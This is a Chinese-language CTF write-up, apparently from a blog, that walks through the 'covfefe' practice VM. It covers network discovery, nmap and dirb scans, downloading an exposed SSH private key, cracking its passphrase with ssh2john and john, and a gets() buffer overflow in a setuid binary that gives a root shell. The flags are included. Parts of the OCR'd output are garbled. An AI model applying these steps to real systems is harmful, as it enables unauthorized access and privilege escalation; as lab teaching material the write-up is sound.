CTF 私钥泄漏 writeup

原创

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CTF 专栏收录该内容

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工具

私钥泄漏靶机 kali linux虚拟机

操作步骤

第一步: 先使用ip探测, 探测网段中有哪些计算机在使用。探测方法是"netdiscover -r ip/netmask"

root@kali:~# netdiscover -r 192.168.2.1/24

		root@kali	:~		•	▣	8
File Edit View S	Search Terminal Hel	р					
Currently scann	ing: Finished!	Screen	View: U	Jnique Hosts			~
25 Captured ARP	Req/Rep packets,	from 6 hos	sts. T	Fotal size: 1500			
IP	At MAC Address	Count	Len	MAC Vendor / Hostna	me		
192.168.2.1	d8:c8:e9:b8:88:2	1 10	600	Phicomm (Shanghai)	Co.,	Ltd	
192.168.2.112	9c:fb:d5:97:43:6	c 1	60	vivo Mobile Communi	cati	on C	0
192.168.2.122	14:36:c6:a7:e4:2	7 1	60	Lenovo Mobile Commu	nica	tion	
192.168.2.194	8c:16:45:31:43:a	5 8	480	LCFC(HeFei) Electro	nics	Тес	h
0.0.0.0	8c:16:45:31:43:a	б З	180	LCFC(HeFei) Electro	nics	Tec	h
192.168.2.142	08:00:27:6b:2e:94	4 2	120	PCS Systemtechnik G	mbH		
				https://blog.csdr	n.net/ł	sthe	eme

192.168.2.142是我们的靶机。

第二步:找出靶机ip地址后,我们使用nmap来探测它的开放服务。

root@kali:~# nmap -sV 192.168.2.142
Starting Nmap 7.70 (https://nmap.org) at 2019-08-12 18:46 EDT
Nmap scan report for covfefe.lan (192.168.2.142)
Host is up (0.00058s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10 (protocol 2.0)
80/tcp open http nginx 1.10.3
31337/tcp open http Werkzeug httpd 0.11.15 (Python 3.5.3)
MAC Address: 08:00:27:6B:2E:94 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ . https://blog.csdp.pet/Kstheme
Nmap done: 1 IP address (1 host up) scanned in 7.89 seconds

我们发现有3个端口是开放的,这时我们再去查看服务中有没有隐藏信息。

第三步:打开Firefox,在网址栏中输入http://ip:port可以查看服务中有没有隐藏的一些文件。显示结果如下:

	404 Not Found - Mozilla Firefox			•	⊗
404 Not Found	× +				
$\overleftarrow{\leftarrow}$ \rightarrow \textcircled{C}	③ 192.168.2.142:31337	☆) ।	\	≡

Not Found

The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.

https://blog.csdn.net/Kstheme

我们发现这种方法找不到隐藏文件。这时我们使用另一种方法。 shell中输入"dirb http://192.168.2.142:31337"

root@kali:~# dirb http://192.168.2.142:31337	
DIRB v2.22	
START_TIME: Mon Aug 12 18:54:26 2019 URL_BASE: http://192.168.2.142:31337/ WORDLIST FILES: /usr/share/dirb/wordlists/common.txt	
GENERATED WORDS: 4612	
<pre> Scanning URL: http://192.168.2.142:31337/ + http://192.168.2.142:31337/.bash_history (CODE:200 SIZE:19) + http://192.168.2.142:31337/.bashrc (CODE:200 SIZE:3526) + http://192.168.2.142:31337/.profile (CODE:200 SIZE:675) + http://192.168.2.142:31337/.ssh (CODE:200 SIZE:43) + http://192.168.2.142:31337/robots.txt (CODE:200 SIZE:70)</pre>)
·	
END_TIME: Mon Aug 12 18:55:02 2019 DOWNLOADED: 4612 - FOUND: 5	https://blog.csdn.net/Kstheme

我们扫描出了5个文件,我们发现里面有一个robots.txt文件,这个文件是robots协议的文本文件,是搜索引擎中访问网站的时候 要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。 拓展: robots协议

我们在Firefox中输入网址"http://192.168.2.142:31337/robots.txt"来查看可访问的文件。 如图:

	Mozilla Firefox							⊗
192.168.2.142:31337/rob	ots. × +							
\leftrightarrow > C' \textcircled{a}	i 192.168.2.142:31337/robots.txt	•••	◙	☆	11	\		≡
llear agant, *								

User-agent: * Disallow: /.bashrc Disallow: /.profile Disallow: /taxes

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我们进入"/taxes"文件,如图:

192.168.2.142:31337/rob	oots. ×	+						
← → ♂ ŵ	i 192	2.168.2.142:31337/taxes/	•••	♥	☆	111	•	≡
O d i - b I II - m i	A A							

Good job! Here is a flag: flag1{make_america_great_again}

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我们找到了第一个flag, 检测过以上三个文件没有任何想要的信息。所以我们再进入"./ssh"查找 如图:

		MOZILLA FILEIOX						v	υ	v	
l92.168.2.142:31337/rob	ots. X	192.168.2.142:31337/.ssh	×	+							
<) → C û	③ 192	2.168.2.142:31337/.ssh			•••	◙	☆		 \		≡

'id_rsa', 'authorized_keys', 'id_rsa.pub']

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我们发现这是rsa的密钥,我们把'id_rsa'和'authorized_keys'下载下来(不需要下载公钥)。

我们把下载好的两个文件发到桌面上以便操作。



我们查看一下authorized_keys文件

cat authorized_keys

root@kali:~/Desktop# cat authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzG6cWl499ZGW0PV+tRa0LguT8+lso8zbSLCzgi X/xnoZx0fneSfi93gdh4ynVjs2sgZ2HaRWA05EGR7e3IetSP53NTxk5QrLHEGZQFLId3QMMi74ebG kKg/QzwRxCrKgqL1b2+EYz68Y9InRAZoq8wYTLdoUVa2w0iJv0PfrlQ4e9nh29J7yPgXmVAsy5Zvm 5FL76y1lUblGUuftCfddh2IahevizLlVipuSQGFqRZ0dA5xnxbsN04QbFUhjIlA5RrAs814LuA9t2 zHXxjsVW8/R/eD8K22T07XEQscQjaSl/R4Cr1kNtUwCljpmpjt/Q4DJmEx0R simon@covfefe

我们发现用户名为simon

第四步,开始进行ssh连接。

ssh -i id_rsa simon@192.168.2.142

结果如图:



这说明我们的id_rsa文件权限有问题,我们开始为id_rsa文件提权。

chmod 600 id_rsa

拓展: Linux chmod命令 菜鸟教程

chmod abc file

其中a,b,c各为一个数字,分别表示User、Group、及Other的权限。

r=4,w=2,x=1 若要rwx属性则4+2+1=7; 若要rw-属性则4+2=6; 若要r-x属性则4+1=5。

我们再次进行ssh连接:

root@kali:~/Desktop# ssh -i id_rsa simon@192.168.2.142 Enter passphrase for key 'id_rsa':

这次显示需要密码,所以我们需要进一步来破解密码。

第五步,我们使用kali中的ssh2john工具来破解ssh密码。

python /usr/share/john/ssh2john.py id_rsa > fuckyou

结果如下:



我们查看该文件:

root@kali:~/Desktop#tcat/fuckyou

id_rsa:\$sshng\$1\$16\$BD8515E8D3A10829A4D710D5AFAC64AB\$1200\$14263d0033562faef4dab3f7bc11b0
cd248d5cca23b6e8b4bfde1a79fa363b45b3d27ef961c3802ae8f578d03a8671b9a8601a24a23b7b138d677
1867fee896633919fdc93ae3e8273fb59afa770f414051c241c04f04fa560593b620656cbc931fe47e74bf8
42f2fd44997465c9f4c0 <mark>62a0</mark> 72e2b89b44b2583d592934373b6a5e44298721cdfd73218e14c491aa1554ee2
32bcae3db35974ebb32bc17498228a76f3b02e17dd11087618e28927c08023e3dbfcd12f20390396c876b75
e3cfc3904c713a69954bf3533fd8b1c8e5dcecd2f7e061cffe67f0fce2d5501546b9b124580fca74d5e460f
59cbfe46c9303140f3e4955276ec9531d96c90a2f5875d541136fe5833c62a4b4ef9d6189c2ba98b834644e
b8e7298f9ec1e602ce766c72b87ee0a9396d77abb30121445d2eeb2839e21b916ef02eb369bd1b09b3340c3
cc07b10203d0a70789aaf49faa942928fbe601e5e7606bbbb70f94e5de82ca94b4aa14b63f4ee5c9ba0036c
b5838 <mark>1ad2</mark> cc521917b2eea2d80f0521ad7d322461b947f1dca4ed5123219e757b10b8002749fc7aa17b4f26
fbed9fef6f66fd42ff31c1061a2678af675fe653c812af17e1b59dbb44984488b42743e8191ad4149f398fc
0bec905d5e4220c002dcb51e0e54d4713119be16d5f04fad07fcc334450a5ae1f6fb876550403893288cb28
64d51c808ce16ee17b14afa50f1c9b8ecb1c446e9f0c51029a9862a83fa37a5d82f9b40ae1d385db73a8630
21bc7f5c511aed53514e793300d4018b810b185b1ce2e66cf5ca2725f6fd4f7117ad12635fd8cad1a6e626d
853777c1b8996b5d271b0844cd750254fbe1d63fad6e7eb11e576ca8473846364b9d799a94127a0f1813c67
db83b3cb5fb2d02b327045071bb6f78d350cbe536cd1508007b6095196077653f08cc7803a4952788d0c82c
99e30e5eb4be2d9ce806ad20ce69b955ad619e31518019c380430d7b529553e419cb53b6274c894ff55a29e
304f34b8e3f7cff4379141a6ce018cda00ab5c3c1b00a7d0cd4a7ca544747d94f4a46ae0b29ae9588b42bd4
7f299bf0ccdd9950faab309f602b6c932514eb0a50ac41fbac0db8e1acce6c2fc7945ba560501098d762960
b93369a2ee133135cd15f1c0baadc364bebb44992cdb188928add751b5ee14fd102297c79c39e3248942281
543c5c5162c2a4045623c3ac638a8463f0e50eedda5376f72bff8b7729dd0df6dbede762e0e2686fb0346d2
76515f3a1491966c9e4a015ee68153bc801ebcbd298779e182293b0c42e4427144ff1738f673ed7216190c9
ea27c4c5be564cef171c265bf9b8dfd415f79002924df4597a8c1b73e81f0036711af1dcf53f01df486e8e5
d385023cc5e5551fd7e7f9bd23486764a22e443b091f5c1a67e0898fa23ddd3e4629429390cc992d47fea66
cd16cbc1dc8db947be4134da9e8f12c8af6b30b96d8685f109415ea05dd0d5b34e57c0966d708b825dace01
39b30453d0787t348c1d46bd2e95f3f0b42fbfbe0bd269c3277264f36fa042e93a3f885a4ddd37308f5e719
f14074bbc4771fdaf301862bdf5ab661b668d377a73244450bd0da133e0fde139 6Qac/U\$dsQdsf2db97/ds%db4

ssh2john的作用就是把私钥转换为john可以识别的信息。

第六步,使用密码字典对私钥进行破解。

zcat是压缩包解压命令 |是管道命令,上一个命令的输出会作为下一个命令的输入。 john命令使用 john --help 查看即可

操作结果如下:

root@kali:~/Desktop# zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules fuc kyou Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/0PENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 4 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press Ctrl-C to abort, or send SIGUSR1 to john process for status (id rsa) starwars (id rsa) starwars (id rsa) starwars (id rsa) starwars starwars (id rsa) starwars (id rsa) starwars (id rsa) (id rsa) starwars starwars (10_15a) 8g 0:00:00:23 0.3436g/s 756137p/s 756137c/s 756137C/s Win3006..Win2532 https://blog.csdn.net/Kstheme Session aborted

我们得知密码为"starwars",我们再次ssh一下,结果如下:

```
root@kali:~/Desktop# ssh -i id_rsa simon@192.168.2.142
Enter passphrase for key 'id_rsa':
Linux covfefe 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 11 13:34:05 2019 from 192.168.2.165
simon@covfefe:~$
```

我们成功进入了靶机。

接下来我们查看一下绝对路径

simon@covfefe:~\$ pwd /home/simon

进入/root目录 查看当前文件:

```
simon@covfefe:~$ cd /root
simon@covfefe:/root$ ls
flag.txt read_message.c
simon@covfefe:/root$ ls -l
total 8
-rw----- 1 root root 75 Jul 9 2017 flag.txt
-rw-r--r- 1 root root 767 Jul 9 2017 read_message.c
```

```
simon@covfefe:/root$ cat read_message.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>  //调用execve()函数的头文件
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
   char program[] = "/usr/local/sbin/message";
   char buf[20];
   char authorized[] = "Simon";
   printf("What is your name?\n");
   gets(buf);
   // Only compare first five chars to save precious cycles:
   if (!strncmp(authorized, buf, 5)) {
       printf("Hello %s! Here is your message:\n\n", buf);
        // This is safe as the user can't mess with the binary location:
       execve(program, NULL, NULL);
        printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, auth
orized);
       exit(EXIT_FAILURE);
```

我们发现了第二个flag。

接下来我们开始进行代码审计,该代码的功能是输入一个名字来和Simon进行对比,若对比成功则执行execve()函数。 我们发现buf[20]可以被溢出,我们可以通过溢出来达到访问root权限目录,达到溢出提权的目的。

我们先查找具有root权限的文件

simon@covfefe:/root\$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/local/bin/read_message
/bin/umount
/bin/su
/bin/mount
/bin/ping

拓展: 在Linux中根据文件属性或权限进行find查找

我们发现read_message具有root权限

```
simon@covfefe:/root$ read_message
What is your name?
Simon11111111111111/bin/sh
Hello Simon1111111111111/bin/sh! Here is your message:
# sho^?
sh: 1: sho: not found
# whoami
root
#
```

进入root, 查看flag 如图:

cat flag.txt
You did it! Congratulations, here's the final flag:
flag3{das_bof_meister}
#